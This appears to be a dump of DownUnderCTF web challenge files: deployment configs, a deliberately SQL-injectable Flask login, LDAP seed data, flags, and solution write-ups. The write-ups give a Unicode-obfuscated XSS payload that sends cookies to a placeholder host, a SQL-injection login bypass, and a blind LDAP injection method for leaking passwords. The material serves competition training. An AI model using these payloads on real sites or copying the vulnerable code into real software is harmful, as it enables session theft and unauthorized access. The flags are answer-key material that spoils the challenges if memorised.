"" ]]; then break; fi shift 2 ;; --port=*) WAITFORIT_PORT="${1#*=}" shift 1 ;; -t) WAITFORIT_TIMEOUT="$2" if [[ $WAITFORIT_TIMEOUT == "" ]]; then break; fi shift 2 ;; --timeout=*) WAITFORIT_TIMEOUT="${1#*=}" shift 1 ;; --) shift WAITFORIT_CLI=("$@") break ;; --help) usage ;; *) echoerr "Unknown argument: $1" usage ;; esac done if [[ "$WAITFORIT_HOST" == "" || "$WAITFORIT_PORT" == "" ]]; then echoerr "Error: you need to provide a host and port to test." usage fi WAITFORIT_TIMEOUT=${WAITFORIT_TIMEOUT:-20} WAITFORIT_STRICT=${WAITFORIT_STRICT:-0} WAITFORIT_CHILD=${WAITFORIT_CHILD:-0} WAITFORIT_QUIET=${WAITFORIT_QUIET:-0} # Check to see if timeout is from busybox? WAITFORIT_TIMEOUT_PATH=$(type -p timeout) WAITFORIT_TIMEOUT_PATH=$(realpath $WAITFORIT_TIMEOUT_PATH 2>/dev/null || readlink -f $WAITFORIT_TIMEOUT_PATH) WAITFORIT_BUSYTIMEFLAG="" if [[ $WAITFORIT_TIMEOUT_PATH =~ "busybox" ]]; then WAITFORIT_ISBUSY=1 # Check if busybox timeout uses -t flag # (recent Alpine versions don't support -t anymore) if timeout &>/dev/stdout | grep -q -e '-t '; then WAITFORIT_BUSYTIMEFLAG="-t" fi else WAITFORIT_ISBUSY=0 fi if [[ $WAITFORIT_CHILD -gt 0 ]]; then wait_for WAITFORIT_RESULT=$? exit $WAITFORIT_RESULT else if [[ $WAITFORIT_TIMEOUT -gt 0 ]]; then wait_for_wrapper WAITFORIT_RESULT=$? else wait_for WAITFORIT_RESULT=$? fi fi if [[ $WAITFORIT_CLI != "" ]]; then if [[ $WAITFORIT_RESULT -ne 0 && $WAITFORIT_STRICT -eq 1 ]]; then echoerr "$WAITFORIT_cmdname: strict mode, refusing to execute subprocess" exit $WAITFORIT_RESULT fi exec "${WAITFORIT_CLI[@]}" else exit $WAITFORIT_RESULT fi ================================================ FILE: web/chainreaction/challenge.yml ================================================ version: "0.1" id: chainreaction name: Chainreaction category: web description: | A bunch of university students want to start a company and hired some young university students. I wonder if they paid any attention to security. Author: n00bmaster connection_info: ${url} tags: - easy flags: - DUCTF{_un1c0de_bypass_x55_ftw!} ================================================ FILE: web/chainreaction/docker-compose.yml ================================================ version: '2' services: website: build: . depends_on: - db links: - xssbot - db env_file: - '.env' ports: - "1337:1337" db: image: mysql:5.7 container_name: mysql_container ports: - "3306:3306" env_file: - '.env' xssbot: image: ghcr.io/downunderctf/docker-vendor/xssbot:chrome privileged: true ports: - 8000:80 volumes: - ./challenge/cookiejar:/var/marvin/auth/cookiejar env_file: - '.env' ================================================ FILE: web/chainreaction/solution/flag.txt ================================================ DUCTF{_un1c0de_bypass_x55_ftw!} ================================================ FILE: web/chainreaction/solution/payload.txt ================================================ ﹤ˢcrⁱpt﹥fetch("http://blah/?c="+document.cookie)﹤/ˢcrⁱpt﹥ ================================================ FILE: web/chainreaction/solution/solution.md ================================================ # Writeup Checking the login page reveals a link to /dev which contains a simple message saying that the dev portal is under development and to checkout /devchat if you developer access has already been provisioned. However, going to /devchat just works because of poor restrictions on the endpoint. There is a very interesting message sent by john and wick in the devchat hinting at unicode normalization and using html escapes on the profile page. ![Devchat](./devchat.png) Using this information and editing the profile page with regular xss payloads should not work as there is a waf running on the backend checking for any bad characters. However, after replacing a few of the characters with unicode characters and attempting to change the username works as the data is being normalized after being passed into the waf. Using a payload like this to make a request to a request catcher: ``` ﹤ˢcrⁱpt﹥fetch("http://blah/?c="+document.cookie)﹤/ˢcrⁱpt﹥ ``` We can leak an admin cookie which can be then used to log into the admin portal which was mentioned on the /dev page. ================================================ FILE: web/cowboy_world/Dockerfile ================================================ FROM python:3.9-slim COPY ./requirements.txt /app/requirements.txt WORKDIR /app RUN pip3 install -r requirements.txt COPY ./challenge /app/ CMD ["gunicorn", "-w", "2", "-b", "0.0.0.0:5000", \ "--access-logfile", "-", \ "--access-logformat", "%({x-forwarded-for}i)s %(l)s %(u)s %(t)s \"%(r)s\" %(s)s %(b)s \"%(f)s\" \"%(a)s\"", \ "--forwarded-allow-ips=*", "app:app"] ================================================ FILE: web/cowboy_world/README.md ================================================ # Cowboy World **Author:** Crem **Category:** web **Difficulty:** Beginner ## Description I heard this is the coolest site for cowboys and can you find a way in? ================================================ FILE: web/cowboy_world/WRITEUP.md ================================================ # Cowboy World Write Up This web challenge is a simple SQL injection challenge with a small twist. Firstly, when you go to the provide challenge URL you will be greeted with a poorly built web app with a login. However, `robots.txt` has an entry to `/sad.eml`. If you open up the email it says that a `sadcowboy` is only allowed inside this application. If you put `sadcowboy` as the username and put a simple SQLi injection into the password field like `xyz' OR '1'='1'-- -` Once you have successfully performed an SQLi on the login page then you will be greeted with the flag. ================================================ FILE: web/cowboy_world/challenge/app.py ================================================ from flask import Flask, render_template, request import sqlite3 app = Flask( __name__, template_folder="templates", static_folder="static", static_url_path='' ) def db_connection(): conn = None try: conn = sqlite3.connect("users.sqlite") except sqlite3.error as e: print(e) return e @app.route("/", methods=["GET","POST"]) def login(): if request.method == "POST": uname = request.form['username'] pword = request.form['password'] conn = sqlite3.connect('users.sqlite') c = conn.cursor() statement = f"SELECT * from users WHERE username=(?) AND password='{pword}';" if uname != "sadcowboy": return "Incorrect username or password" else: c.execute(statement,(uname,)) if not c.fetchone(): return "Incorrect password" else: return render_template("/you_did_the_thing.html") else: return render_template("index.html") @app.route("/wow") def wow(): return "wow" if __name__ == '__main__': app.run(debug=False, host='0.0.0.0') ================================================ FILE: web/cowboy_world/challenge/static/robots.txt ================================================ # pls no look User-Agent: regular_cowboys Disallow: /sad.eml ================================================ FILE: web/cowboy_world/challenge/static/sad.eml ================================================ MIME-Version: 1.0 Date: Sun, 18 Jul 2021 20:48:32 +1000 Message-ID: Subject: :'( From: DownUnder CTF To: sadcowboys@everyone.com Content-Type: multipart/alternative; boundary="0000000000000f998405c7639019" --0000000000000f998405c7639019 Content-Type: text/plain; charset="UTF-8" Everyone says 'yeee hawwwww' but never 'hawwwww yeee' :'( thats why a 'sadcowboy' is only allowed to go into our website --0000000000000f998405c7639019 Content-Type: text/html; charset="UTF-8"
Everyone says 'yeee hawwwww'

but never 'hawwwww yeee'

:'(

thats why a 'sadcowboy' is only allowed to go into our website
--0000000000000f998405c7639019-- ================================================ FILE: web/cowboy_world/challenge/templates/index.html ================================================

Login

Username:


Password:



================================================ FILE: web/cowboy_world/challenge/templates/you_did_the_thing.html ================================================

Welcome fellow sadcowboy *tips hat*


DUCTF{haww_yeeee_downunderctf?}

================================================ FILE: web/cowboy_world/challenge.yml ================================================ version: "0.1" id: cowboy-world name: Cowboy World category: web description: > I heard this is the coolest site for cowboys and can you find a way in? Author: Crem connection_info: ${url} tags: - beginner flags: - DUCTF{haww_yeeee_downunderctf?} ================================================ FILE: web/cowboy_world/docker-compose.yml ================================================ version: "2" services: web: build: . ports: - "5000:5000" ================================================ FILE: web/cowboy_world/flag.txt ================================================ DUCTF{haww_yeeee_downunderctf?} ================================================ FILE: web/cowboy_world/requirements.txt ================================================ click==8.0.1 Flask==2.0.1 itsdangerous==2.0.1 Jinja2==3.0.1 MarkupSafe==2.0.1 Werkzeug==2.0.1 gunicorn==20.1.0 ================================================ FILE: web/ezmail/.dockerignore ================================================ data/ solve/ venv/ __pycache__/ flag.txt ================================================ FILE: web/ezmail/Dockerfile ================================================ FROM python:3.9-slim WORKDIR /app RUN pip install --no-cache-dir fastapi uvicorn[standard] aioredis ldap3 python-jose gunicorn slowapi COPY ./src /app ENTRYPOINT [ "gunicorn", "-b", "0.0.0.0:8000", "-k", "uvicorn.workers.UvicornWorker", "main:app" ] ================================================ FILE: web/ezmail/README.md ================================================ # Ezmail **Catagory**: web **Difficulty**: Medium **Author**: todo#7331 ## Flavour Whilst performing a security assessment for a company, you notice they have a innocuous service called ezmail which allows employees to leave messages for each other. You reckon you can use this service to get the `userPassword` of the `admin` account for the whole organization. **Flag format:** `DUCTF{[a-z0-9_]+}` case sensitive ## Description Largely a blind ldap injection challenge with a pinch of api recon (i.e. reading the docs). Challenge involves reading leaking `userPassword` fields for ldap users in a "leave a message" application. Players can leave messages for users by specifying their ldap common names. The lookup done to map common name -> uuid is injectable, but asynchronus to the request. Players can build a oracle by sending a message containing a ldap injected payload. If the payload results in a value it will be reflected in the "recipients" field of the message when the message is looked up by uuid, otherwise it will be missing. Medium challenge as most players won't have much experience with ldap, and there are a number of gotcha's that need to be understood. ## Writeup _a solve script can be found in ./solve_ 1. Players notice that the challenge is ldap - this is hinted at in the flavour text, and the world ldap is present in the docs. 2. Players notice that inputting special characters (esp `)`) as the name of a recipient will result in that recipient not appearing in the `recipients` field of the sent message. 1. e.g. Sending a message with `an_ok_name` as well as a invalid name `)`... 1. `POST /message {"recipients":["an_ok_name",")"], ...} -> some_message_id` 2. ... will result in `)` disappearing from the recipients list when the message is fetched 1. `GET /message/some_message_id -> {"recipients":["an_ok_name"]}` 3. Players notice that putting a ldap identity (e.g. `someuser)(cn=*`) as a recipient passes. This in combination with the previous fact reveals a LDAP injection. 4. The flavour text mentions to get the `userPassword` field. This can be tested with `someuser)(userPassword=*`) 5. Players do some research on ldap and learn that the `userPassword` field uses a octet string so wildcard matches don't work, there are however `strcmp`-esque operators. 6. There is a `octetStringOrderingMatch` operator on octet strings that will return results if our input is "larger" than the stored value. 7. Therefore players are able to enumerate the `userPassword` one character at a time. 1. If the player's guess is less than or equal to the `userPassword` the recipient will be missing 2. If the player's guess is greater than the `userPassword`, then the recipient will be present. 3. The "highest" value that does not appear is hence a character in the password 8. Players notice they can also batch requests to perform 8 at a time. 9. Using this observation its possible to construct a blind search for the password either linearly or using a binary (or octonary) search. ## Running `docker-compose up` Probably can share between players if we pray to the uuid gods hard enough. :shrug: ================================================ FILE: web/ezmail/challenge.yml ================================================ version: "0.1" id: ezmail name: Ezmail category: web description: | Whilst performing a security assessment for a company, you notice they have a innocuous service called ezmail which allows employees to leave messages for each other. You reckon you can use this service to get the `userPassword` of the `admin` account for the whole organization. **Flag format:** `DUCTF{[a-z0-9_]+}` case sensitive Author: todo#7331 connection_info: ${url} tags: - medium flags: - DUCTF{th4t_w4snt_sqli_22a81af2} ================================================ FILE: web/ezmail/data/generate_ldif.py ================================================ import faker import uuid import secrets NUM_USERS = 64 GENERATE_ROOT = True FLAG = open('../flag.txt', 'r').read().strip() fake = faker.Faker() block = lambda b: "\n".join(b) + '\n\n' with open('users.ldif', 'w') as f: if GENERATE_ROOT: f.write(block([ "dn: dc=ductf,dc=org", "objectClass: dcObject", "objectClass: organization", "dc: ductf", "o: ductf" ])) f.write(block([ "dn: ou=users,dc=ductf,dc=org", "objectClass: organizationalUnit", "ou: users", ])) cns = [] f.write(block([ "dn: cn=admin,ou=users,dc=ductf,dc=org", "cn: admin", "sn: admin", "objectClass: inetOrgPerson", "uid: "+str(uuid.uuid4()), "userPassword: "+FLAG ])) for i in range(NUM_USERS): cn = fake.user_name() cns.append(cn) f.write(block([ "dn: cn="+cn+",ou=users,dc=ductf,dc=org", "cn: "+cn, "sn: "+cn.title(), "objectClass: inetOrgPerson", "uid: "+str(uuid.uuid4()), "userPassword: "+secrets.token_hex(24), ])) f.write(block([ "dn: cn=ezmail,ou=users,dc=ductf,dc=org", "cn: ezmail", "objectClass: groupOfNames" ] + [ f"member: cn={cn},ou=users,dc=ductf,dc=org" for cn in cns ])) ================================================ FILE: web/ezmail/data/users.ldif ================================================ dn: dc=ductf,dc=org objectClass: dcObject objectClass: organization dc: ductf o: ductf dn: ou=users,dc=ductf,dc=org objectClass: organizationalUnit ou: users dn: cn=admin,ou=users,dc=ductf,dc=org cn: admin sn: admin objectClass: inetOrgPerson uid: 2b4ce740-01de-4d0e-9a95-4d6a67cf6f96 userPassword: DUCTF{th4t_w4snt_sqli_22a81af2} dn: cn=crosbyjames,ou=users,dc=ductf,dc=org cn: crosbyjames sn: Crosbyjames objectClass: inetOrgPerson uid: 655d8757-cb39-4372-bd4f-3519fb8b1b4b userPassword: beb9cb5662d5def61b48b7b31b8c46ef9c118d8781e9e7e0 dn: cn=owensgail,ou=users,dc=ductf,dc=org cn: owensgail sn: Owensgail objectClass: inetOrgPerson uid: 198541f1-62f0-4fad-ae85-8f44439a1046 userPassword: 005299e1ebb811e28f17c3254584757ece2420cc61744def dn: cn=cbarnes,ou=users,dc=ductf,dc=org cn: cbarnes sn: Cbarnes objectClass: inetOrgPerson uid: 9a7dd51a-5eed-43b8-b826-48acfe9be47a userPassword: c639cb4e459b24b7e2b3e9b5f9943d1cab73a6298fa8aed0 dn: cn=jackgonzalez,ou=users,dc=ductf,dc=org cn: jackgonzalez sn: Jackgonzalez objectClass: inetOrgPerson uid: 4dea9b7e-9751-4f38-921c-6f49262da8af userPassword: b51421bf5d072544ad4f480684ee3c848b794ab758c8f2ed dn: cn=kimberly80,ou=users,dc=ductf,dc=org cn: kimberly80 sn: Kimberly80 objectClass: inetOrgPerson uid: 8b4d909b-796f-45a8-9027-337a6fab3645 userPassword: a7591948ec604b7d1ddb51a54e5966dc720f7a4e5580b643 dn: cn=powersheather,ou=users,dc=ductf,dc=org cn: powersheather sn: Powersheather objectClass: inetOrgPerson uid: 17d520c8-7c5e-4533-a392-aa38a5b47715 userPassword: 5a1e63d84639416665170636ccc1d42b4ad43b9f25b46c86 dn: cn=youngsuzanne,ou=users,dc=ductf,dc=org cn: youngsuzanne sn: Youngsuzanne objectClass: inetOrgPerson uid: 98c5d902-4593-465a-919d-30845cdec878 userPassword: 065a84b8091c93ad3b34d1f79c7d57eb2e0ca33eb55ba07f dn: cn=kayla07,ou=users,dc=ductf,dc=org cn: kayla07 sn: Kayla07 objectClass: inetOrgPerson uid: 3cadc34e-8488-415d-854d-3369567a4ff4 userPassword: eccaf229bb87db081b278bead3b5f384d9d37090a7bcefd8 dn: cn=wilsonashley,ou=users,dc=ductf,dc=org cn: wilsonashley sn: Wilsonashley objectClass: inetOrgPerson uid: e87ab125-fc3a-4c65-8178-9ba188f1d0df userPassword: b42cd0abfdafc20530498407fcfcad16cc689f3bbc5284da dn: cn=jaustin,ou=users,dc=ductf,dc=org cn: jaustin sn: Jaustin objectClass: inetOrgPerson uid: 9f51e936-a0f7-436c-a55d-0414d56eae17 userPassword: 9c46ed13a91dfff3e5cd2b42e60de9d0d1298d09d72d2d98 dn: cn=thomasdavid,ou=users,dc=ductf,dc=org cn: thomasdavid sn: Thomasdavid objectClass: inetOrgPerson uid: 164685f6-7c3f-4136-a635-283d7268bf6b userPassword: a45b39fa8a3e74bca385b6b94f14cb65ba7f0f71c30427ee dn: cn=lejulie,ou=users,dc=ductf,dc=org cn: lejulie sn: Lejulie objectClass: inetOrgPerson uid: fd46738d-508a-46a6-a18a-27c627d130ca userPassword: 6d0bdfa33d6939efe639464dcca48d28d6644ba150b78ccb dn: cn=ralph01,ou=users,dc=ductf,dc=org cn: ralph01 sn: Ralph01 objectClass: inetOrgPerson uid: 31f2f3f2-a7cf-4534-9f4e-6514dbd104fa userPassword: e93453e5e68047a15eda0fb8da517bb82bf46bcbbb05f412 dn: cn=scastillo,ou=users,dc=ductf,dc=org cn: scastillo sn: Scastillo objectClass: inetOrgPerson uid: 43e91c44-b2be-48ec-a8b9-47a777badd36 userPassword: 774e8e452eea54b0fc09ec8827695b74bf54e3f4b8bd0735 dn: cn=benjaminsmith,ou=users,dc=ductf,dc=org cn: benjaminsmith sn: Benjaminsmith objectClass: inetOrgPerson uid: 58f57509-4ab1-463c-85de-d4ac6a0c3e0c userPassword: 98c593566f97ef913b4a4829e89154e3c211b5ea1b39e984 dn: cn=marysawyer,ou=users,dc=ductf,dc=org cn: marysawyer sn: Marysawyer objectClass: inetOrgPerson uid: 637068be-69fa-4073-98a1-e077a750caad userPassword: c69e6e3db4613405120ab8ad552ad41b3ed840e77ef214a9 dn: cn=bassjustin,ou=users,dc=ductf,dc=org cn: bassjustin sn: Bassjustin objectClass: inetOrgPerson uid: 9bf361d9-814f-4289-aad1-eba8019e1318 userPassword: f69502c2d310c07ce82328d8acba37bf62518ffe17ba211e dn: cn=cindyedwards,ou=users,dc=ductf,dc=org cn: cindyedwards sn: Cindyedwards objectClass: inetOrgPerson uid: 9d997479-d5d5-4ff3-a1ac-c2f484e6e33a userPassword: 65a3d20168761ff3d0d1b1201463144b303cd6cb51489c1d dn: cn=zunderwood,ou=users,dc=ductf,dc=org cn: zunderwood sn: Zunderwood objectClass: inetOrgPerson uid: 20c282e3-933f-4fdc-98ee-f87c36cf34c2 userPassword: 71057f687ac04d21830b467de328d7901d7f558c78d5405a dn: cn=markroberson,ou=users,dc=ductf,dc=org cn: markroberson sn: Markroberson objectClass: inetOrgPerson uid: 2692060f-6587-463f-9df3-88d5479293ed userPassword: c3fd5e21fbe3ce6977103548ad6132746b02d58b4a376991 dn: cn=katrina04,ou=users,dc=ductf,dc=org cn: katrina04 sn: Katrina04 objectClass: inetOrgPerson uid: 9d0ed5f3-265b-4dc6-be8d-e363da201609 userPassword: 65e91114f50b37431673c9be6168cd8177dc824efd994e5c dn: cn=walkermichelle,ou=users,dc=ductf,dc=org cn: walkermichelle sn: Walkermichelle objectClass: inetOrgPerson uid: 6bc74fc3-88c6-4180-b7ee-d6f60fb00173 userPassword: 6bd46dbdf0412539bbe385b5a681818109c52208fe9c79de dn: cn=nicholasking,ou=users,dc=ductf,dc=org cn: nicholasking sn: Nicholasking objectClass: inetOrgPerson uid: bc459578-7d18-46de-b445-7185ed9da7c0 userPassword: b82950b897fce2939f8caee0a800859e670070479afeb76a dn: cn=jon76,ou=users,dc=ductf,dc=org cn: jon76 sn: Jon76 objectClass: inetOrgPerson uid: 72df615e-a1ad-46f3-8ec4-ec0650c3ccb7 userPassword: 1d0976b7ce77c9386c2668d72a0f77ffdd0e56f32d70203a dn: cn=trevormartin,ou=users,dc=ductf,dc=org cn: trevormartin sn: Trevormartin objectClass: inetOrgPerson uid: 556286ed-b090-4d05-8469-98a3309b1631 userPassword: decd841f3f1cc78efd2f5f8198f08ca6abdf242b350a788b dn: cn=mjohnson,ou=users,dc=ductf,dc=org cn: mjohnson sn: Mjohnson objectClass: inetOrgPerson uid: f979c446-0378-4931-bc57-04df2497f89d userPassword: 945a0c444576022135f0aac04e287cb54fc77e79d167253b dn: cn=brian36,ou=users,dc=ductf,dc=org cn: brian36 sn: Brian36 objectClass: inetOrgPerson uid: d5667612-3755-487a-8884-76c49a780c71 userPassword: 8fee1fdfbe440f55638898acece5355c19df0653e3782c53 dn: cn=davissean,ou=users,dc=ductf,dc=org cn: davissean sn: Davissean objectClass: inetOrgPerson uid: 4326de2c-ae3b-4883-a8e7-974b29f0c562 userPassword: a3440709f9f2c7f6a3da0cc28637157b46585682d5b1f64c dn: cn=anthony00,ou=users,dc=ductf,dc=org cn: anthony00 sn: Anthony00 objectClass: inetOrgPerson uid: f930a4dd-03c9-47b0-bcd7-2c88b4439707 userPassword: ac1da8bf3732a481ee5c708e8c3904cf1132dd9405df56fe dn: cn=zacharyjones,ou=users,dc=ductf,dc=org cn: zacharyjones sn: Zacharyjones objectClass: inetOrgPerson uid: 77b4e623-2d3d-4cb4-88ac-6c5a6024d60a userPassword: 19feb5586147c63edee4aa5bfc58411a9492f61039063646 dn: cn=mhunter,ou=users,dc=ductf,dc=org cn: mhunter sn: Mhunter objectClass: inetOrgPerson uid: 21c75dc4-b0db-4e2f-9827-a7a9c1b01b1f userPassword: 2c2fa3dd6f0c5da1b7a7fd97366ab0f46daf578a0fba5180 dn: cn=josephcain,ou=users,dc=ductf,dc=org cn: josephcain sn: Josephcain objectClass: inetOrgPerson uid: 639f0b76-39bf-4987-9444-27bca990fbae userPassword: 0048308ba6852b2b395e8763353cff9fe71581bd3c9fa665 dn: cn=bethanyjones,ou=users,dc=ductf,dc=org cn: bethanyjones sn: Bethanyjones objectClass: inetOrgPerson uid: a7c7ce36-63be-4c94-b1dc-cca7473cf051 userPassword: 29f32bdc74483670e2a923c369653e2613ad538015d4ccd6 dn: cn=kevin81,ou=users,dc=ductf,dc=org cn: kevin81 sn: Kevin81 objectClass: inetOrgPerson uid: 1a57050c-8b95-4787-bbd4-89671a4e94b4 userPassword: ac8b1cbb9d804df0ce8eec9e75254c21ae3efe36751606a5 dn: cn=brad05,ou=users,dc=ductf,dc=org cn: brad05 sn: Brad05 objectClass: inetOrgPerson uid: e3f5bdf2-a400-4f08-8eae-625e7cdea6cf userPassword: 300bfb8a7e5991bea2d758286da9210455e0e958c69e3fe5 dn: cn=brendafigueroa,ou=users,dc=ductf,dc=org cn: brendafigueroa sn: Brendafigueroa objectClass: inetOrgPerson uid: 87c92de3-7914-4fb0-a1a1-58b8803b77d5 userPassword: 623dc557a0be31927cec2b97ba30df6820b59c18688a79cf dn: cn=sarah68,ou=users,dc=ductf,dc=org cn: sarah68 sn: Sarah68 objectClass: inetOrgPerson uid: be0e43db-e67c-4c77-ac79-9eba58979296 userPassword: 0aab9dce3ee801609cbbdde17bbc6ae221223ff56f6a28f9 dn: cn=paulmarks,ou=users,dc=ductf,dc=org cn: paulmarks sn: Paulmarks objectClass: inetOrgPerson uid: 41ade577-6816-4985-b43e-9d16dd0d7d38 userPassword: ab60fbb80943fed07a6a8d74e3ecfa2581223367f5f81978 dn: cn=emily92,ou=users,dc=ductf,dc=org cn: emily92 sn: Emily92 objectClass: inetOrgPerson uid: 33a8b465-ed89-41ca-8124-58e9ea4a0511 userPassword: d522f85eb3331522aee7b08feda52b599c068f34fb9917cf dn: cn=xporter,ou=users,dc=ductf,dc=org cn: xporter sn: Xporter objectClass: inetOrgPerson uid: fb1d400b-320d-4279-8a6c-d9029d83fa18 userPassword: 808452c7a8d249d5be2f2e1b720247db969ee2cfb16c0ab0 dn: cn=williamsamy,ou=users,dc=ductf,dc=org cn: williamsamy sn: Williamsamy objectClass: inetOrgPerson uid: 292a99dc-91ca-4a7b-a8e0-9344635f54cf userPassword: f7ff7aa7e55416ea5f75f626d8880fc48464d2bc93bd35b2 dn: cn=pthomas,ou=users,dc=ductf,dc=org cn: pthomas sn: Pthomas objectClass: inetOrgPerson uid: f3986f84-0a31-4434-9859-727db292b9bc userPassword: 9935009d18530e57ea3387a1d4a24e6716bddbf3160e2340 dn: cn=yclarke,ou=users,dc=ductf,dc=org cn: yclarke sn: Yclarke objectClass: inetOrgPerson uid: 3664b7d3-6ba5-45d7-bdf4-2c099563757e userPassword: 45976b5f3a73ec5df3840a33a6288a6ff69d765d5ed606bd dn: cn=jesse02,ou=users,dc=ductf,dc=org cn: jesse02 sn: Jesse02 objectClass: inetOrgPerson uid: 58831e0b-9fce-4461-9eae-9162e1adedbc userPassword: 582dd42605e745d0215805d8e6797479d4720d3fcee4e568 dn: cn=katherine78,ou=users,dc=ductf,dc=org cn: katherine78 sn: Katherine78 objectClass: inetOrgPerson uid: 1f6a2c3b-407e-443b-aae5-4bc471029b97 userPassword: 6462d042054a89204ff0895b28228a845c2eb2fafa038ee2 dn: cn=jeannemorgan,ou=users,dc=ductf,dc=org cn: jeannemorgan sn: Jeannemorgan objectClass: inetOrgPerson uid: a346f2c0-26ea-4096-904c-53bbefbe1e6b userPassword: 0e17e3b0543908e3062ee0f0c3a8984b8c2dcc980f32366a dn: cn=aliciamueller,ou=users,dc=ductf,dc=org cn: aliciamueller sn: Aliciamueller objectClass: inetOrgPerson uid: db3ff2f4-ed5c-45cf-b7a9-924540643d59 userPassword: 556a0a0f9837d855123cc2aab9fa694d3ba471e5e80b3152 dn: cn=kgates,ou=users,dc=ductf,dc=org cn: kgates sn: Kgates objectClass: inetOrgPerson uid: c3f47025-206c-4c49-b246-4d76e7d545e7 userPassword: 6c7f7080d9bc2f0c9e41601f41ce6bde36480e5b2cd7d67e dn: cn=sstone,ou=users,dc=ductf,dc=org cn: sstone sn: Sstone objectClass: inetOrgPerson uid: 4ff07c9c-8ba9-49a2-a466-20cc8d79e7d8 userPassword: b10fd25cda59bf843a519069f776687b4879ad0fa998714b dn: cn=longronald,ou=users,dc=ductf,dc=org cn: longronald sn: Longronald objectClass: inetOrgPerson uid: 465cc229-100c-404f-91c1-91451dd6344e userPassword: 1de35500b5ba6bf38dbb3810b3c0276e9ba66afbab0760c3 dn: cn=darren28,ou=users,dc=ductf,dc=org cn: darren28 sn: Darren28 objectClass: inetOrgPerson uid: 01a89161-8287-44af-ab6e-3c54ef007ae5 userPassword: 610b6b1605509a8da1b770b7d2e0babb7aae76d8ea3a4f78 dn: cn=patelkathryn,ou=users,dc=ductf,dc=org cn: patelkathryn sn: Patelkathryn objectClass: inetOrgPerson uid: aaa87f40-9838-47e8-a728-a9ef4205ff10 userPassword: 1c3533dd0810831008d82e31e708af8945306f3fe754a5fb dn: cn=camposnichole,ou=users,dc=ductf,dc=org cn: camposnichole sn: Camposnichole objectClass: inetOrgPerson uid: d862ff8d-3fca-4530-bac5-c15966c91a56 userPassword: e3f28e2b864678f84fb8b382c145d3cb9c19a900f4bfd198 dn: cn=megan12,ou=users,dc=ductf,dc=org cn: megan12 sn: Megan12 objectClass: inetOrgPerson uid: faf00d87-e1b0-45cb-beea-ed7832693f13 userPassword: df2c78ef6a884a0ce5c3fed39bda751c26581519187b22ff dn: cn=jenniferwiley,ou=users,dc=ductf,dc=org cn: jenniferwiley sn: Jenniferwiley objectClass: inetOrgPerson uid: 41751be8-b8fb-430b-b5a2-6277a7ada1f4 userPassword: e0923c565dc83e1fce22f5d0b9e09560a73352027bb15057 dn: cn=jenniferpalmer,ou=users,dc=ductf,dc=org cn: jenniferpalmer sn: Jenniferpalmer objectClass: inetOrgPerson uid: 5f0d81f5-9be3-4177-a0b8-c3de8a9fbe07 userPassword: e4988050c10882bc6a483742c8fd4a942ccddaadc0f131a4 dn: cn=gnolan,ou=users,dc=ductf,dc=org cn: gnolan sn: Gnolan objectClass: inetOrgPerson uid: 7563752c-0d86-4844-b1c4-77e66a16bf1c userPassword: 75151e87c282f66b7d15a7a4bda4881f4eee5275525e929a dn: cn=whayes,ou=users,dc=ductf,dc=org cn: whayes sn: Whayes objectClass: inetOrgPerson uid: 3349a685-2d7f-42ff-b849-f630da945907 userPassword: 389615238cd0dfbf09c0eb2bf3c2df18c5b6b3270d26881b dn: cn=josephrodriguez,ou=users,dc=ductf,dc=org cn: josephrodriguez sn: Josephrodriguez objectClass: inetOrgPerson uid: cd951375-eec0-42f4-8c20-357bb1c4d35f userPassword: e41560ce7647a5e8138c4de7da9b26b3b391acf1fb950415 dn: cn=markcraig,ou=users,dc=ductf,dc=org cn: markcraig sn: Markcraig objectClass: inetOrgPerson uid: 890c0bb0-142a-4f8d-a7a3-bf02893c746e userPassword: a9e0ac47b7869ffe01670188177a37357c70d6bf84f800a8 dn: cn=david30,ou=users,dc=ductf,dc=org cn: david30 sn: David30 objectClass: inetOrgPerson uid: 57970126-6180-401e-9ef8-b21a5ee23521 userPassword: ea73a43f347af6a3b59ac28046b8ffe2aba2034232e0b0cf dn: cn=elliottlaurie,ou=users,dc=ductf,dc=org cn: elliottlaurie sn: Elliottlaurie objectClass: inetOrgPerson uid: 015ac6e2-bb55-4a93-8ada-8632532dd570 userPassword: 2bda1eb8f8c365617ee2ccd932aaae2e5fa09124295e616d dn: cn=kinglaura,ou=users,dc=ductf,dc=org cn: kinglaura sn: Kinglaura objectClass: inetOrgPerson uid: 83ae4a59-158b-4074-a731-9bd3c8308382 userPassword: fb0782c91df9fb6fb6d7a3860d14bef7b12fbb28b407a777 dn: cn=monica89,ou=users,dc=ductf,dc=org cn: monica89 sn: Monica89 objectClass: inetOrgPerson uid: 56b77cb2-b9be-42bd-81e5-d7f07191ce31 userPassword: 9080b0d9e20ea7d3ca5bca4abb5e031ab7e4c1ae74629a2b dn: cn=ezmail,ou=users,dc=ductf,dc=org cn: ezmail objectClass: groupOfNames member: cn=crosbyjames,ou=users,dc=ductf,dc=org member: cn=owensgail,ou=users,dc=ductf,dc=org member: cn=cbarnes,ou=users,dc=ductf,dc=org member: cn=jackgonzalez,ou=users,dc=ductf,dc=org member: cn=kimberly80,ou=users,dc=ductf,dc=org member: cn=powersheather,ou=users,dc=ductf,dc=org member: cn=youngsuzanne,ou=users,dc=ductf,dc=org member: cn=kayla07,ou=users,dc=ductf,dc=org member: cn=wilsonashley,ou=users,dc=ductf,dc=org member: cn=jaustin,ou=users,dc=ductf,dc=org member: cn=thomasdavid,ou=users,dc=ductf,dc=org member: cn=lejulie,ou=users,dc=ductf,dc=org member: cn=ralph01,ou=users,dc=ductf,dc=org member: cn=scastillo,ou=users,dc=ductf,dc=org member: cn=benjaminsmith,ou=users,dc=ductf,dc=org member: cn=marysawyer,ou=users,dc=ductf,dc=org member: cn=bassjustin,ou=users,dc=ductf,dc=org member: cn=cindyedwards,ou=users,dc=ductf,dc=org member: cn=zunderwood,ou=users,dc=ductf,dc=org member: cn=markroberson,ou=users,dc=ductf,dc=org member: cn=katrina04,ou=users,dc=ductf,dc=org member: cn=walkermichelle,ou=users,dc=ductf,dc=org member: cn=nicholasking,ou=users,dc=ductf,dc=org member: cn=jon76,ou=users,dc=ductf,dc=org member: cn=trevormartin,ou=users,dc=ductf,dc=org member: cn=mjohnson,ou=users,dc=ductf,dc=org member: cn=brian36,ou=users,dc=ductf,dc=org member: cn=davissean,ou=users,dc=ductf,dc=org member: cn=anthony00,ou=users,dc=ductf,dc=org member: cn=zacharyjones,ou=users,dc=ductf,dc=org member: cn=mhunter,ou=users,dc=ductf,dc=org member: cn=josephcain,ou=users,dc=ductf,dc=org member: cn=bethanyjones,ou=users,dc=ductf,dc=org member: cn=kevin81,ou=users,dc=ductf,dc=org member: cn=brad05,ou=users,dc=ductf,dc=org member: 